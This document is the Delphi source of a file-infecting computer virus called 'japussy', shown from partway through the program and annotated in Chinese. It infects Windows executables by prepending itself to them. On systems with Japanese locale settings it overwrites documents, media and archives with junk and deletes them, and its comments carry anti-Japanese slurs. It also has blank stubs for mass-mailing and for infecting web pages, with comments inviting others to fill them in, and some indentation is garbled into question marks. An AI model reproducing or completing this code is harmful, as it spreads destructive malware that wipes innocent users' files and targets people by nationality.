procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 發帶毒郵件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
???? if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
?????? exit;
???? infected := false;
???? ispe????? := false;
???? srcstream := tfilestream.create(filename, fmopenread);
???? try
?????? for i := 0 to $108 do //檢查pe文件頭
?????? begin
?????? srcstream.seek(i, sofrombeginning);
?????? srcstream.read(buf, 2);
?????? if (buf[0] = #80) and (buf[1] = #69) then //pe標記
?????? begin
???????? ispe := true; //是pe文件
???????? break;
?????? end;
?????? end;
?????? srcstream.seek(-4, sofromend); //檢查感染標記
?????? srcstream.read(iid, 4);
?????? if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
?????? infected := true;
???? finally
?????? srcstream.free;
???? end;
???? if infected or (not ispe) then //如果感染過了或不是pe文件則退出
?????? exit;
???? icostream := tmemorystream.create;
???? dststream := tmemorystream.create;
???? try
?????? aicon := ticon.create;
?????? try
?????? //得到被感染文件的主圖標(744字節),存入流
?????? aicon.releasehandle;
?????? aicon.handle := extracticon(hinstance, pchar(filename), 0);
?????? aicon.savetostream(icostream);
?????? finally
?????? aicon.free;
?????? end;
?????? srcstream := tfilestream.create(filename, fmopenread);
?????? //頭文件
?????? hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
?????? try
?????? //寫入病毒體主圖標之前的數據
?????? copystream(hdrstream, 0, dststream, 0, iconoffset);
?????? //寫入目前程序的主圖標
?????? copystream(icostream, 22, dststream, iconoffset, iconsize);
?????? //寫入病毒體主圖標到病毒體尾部之間的數據
?????? copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
?????? //寫入宿主程序
?????? copystream(srcstream, 0, dststream, headersize, srcstream.size);
?????? //寫入已感染的標記
?????? dststream.seek(0, 2);
?????? iid := $44444444;
?????? dststream.write(iid, 4);
?????? finally
?????? hdrstream.free;
?????? end;
???? finally
?????? srcstream.free;
?????? icostream.free;
?????? dststream.savetofile(filename); //替換宿主文件
?????? dststream.free;
???? end;
except;
end;
end;
{ 將目標文件寫入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
???? setfileattributes(pchar(filename), 0); //去掉只讀屬性
???? filehandle := fileopen(filename, fmopenwrite); //打開文件
???? try
?????? size := getfilesize(filehandle, nil); //文件大小
?????? i := 0;
?????? randomize;
?????? max := random(15); //寫入垃圾碼的隨機次數
?????? if max < 5 then
?????? max := 5;
?????? mass := size div max; //每個間隔塊的大小
?????? len := length(catchword);
?????? while i < max do
?????? begin
?????? fileseek(filehandle, i * mass, 0); //定位
?????? //寫入垃圾碼,將文件徹底破壞掉
?????? filewrite(filehandle, catchword, len);
?????? inc(i);
?????? end;
???? finally
?????? fileclose(filehandle); //關閉文件
???? end;
???? deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
???? d := chr(i + 65);
???? str := d + ':\';
???? disktype := getdrivetype(pchar(str));
???? //得到本地磁盤和網絡盤
???? if (disktype = drive_fixed) or (disktype = drive_remote) then
?????? result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
???? if (searchrec.attr <> 16) and (searchrec.name <> '.') and
?????? (searchrec.name <> '..') then
?????? result := 0 //不是目錄
???? else if (searchrec.attr = 16) and (searchrec.name <> '.') and
?????? (searchrec.name <> '..') then
?????? result := 1 //不是根目錄
???? else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
???? repeat
?????? peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
?????? if isvaliddir(searchrec) = 0 then
?????? begin
?????? fn := path + searchrec.name;
?????? ext := uppercase(extractfileext(fn));
?????? if (ext = '.exe') or (ext = '.scr') then
?????? begin
???????? infectonefile(fn); //感染可執行文件?????
?????? end
?????? else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
?????? begin
???????? //感染html和asp文件,將base64編碼后的病毒寫入
???????? //感染瀏覽此網頁的所有用戶
???????? //哪位大兄弟愿意完成之?
?????? end
?????? else if ext = '.wab' then //outlook地址簿文件
?????? begin
???????? //獲取outlook郵件地址
?????? end
?????? else if ext = '.adc' then //foxmail地址自動完成文件
?????? begin
???????? //獲取foxmail郵件地址
?????? end
?????? else if ext = 'ind' then //foxmail地址簿文件
?????? begin
???????? //獲取foxmail郵件地址
?????? end
?????? else
?????? begin
???????? if isjap then //是倭文操作系統
???????? begin
?????????? if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
?????????? (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
?????????? (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
?????????? (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
?????????? (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
?????????? (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
???????????? smashfile(fn); //摧毀文件
???????? end;
?????? end;
?????? end;
?????? //感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
?????? sleep(200);
???? until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
???? repeat
?????? if isvaliddir(searchrec) = 1 then
?????? subdir.add(searchrec.name);
???? until (findnext(searchrec) <> 0);
???? end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
???? loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
???? isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁盤列表
len := length(driverlist);
while true do //死循環
begin
???? for i := len downto 1 do //遍歷每個磁盤驅動器
?????? loopfiles(driverlist + ':\', '*.*'); //感染之
???? sendmail; //發帶毒郵件
???? sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
???? registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
???? //遠程線程映射到explorer進程
???? //哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
???? infectfiles //感染和發郵件
else //已寄生于宿主程序上了,開始工作
begin
???? tmpfile := paramstr(0); //創建臨時文件
???? delete(tmpfile, length(tmpfile) - 4, 4);
???? tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
???? extractfile(tmpfile); //分離之
???? fillstartupinfo(si, sw_showdefault);
???? createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
?????? 0, nil, '.', si, pi); //創建新進程運行之
???? infectfiles; //感染和發郵件
end;
end.
(完)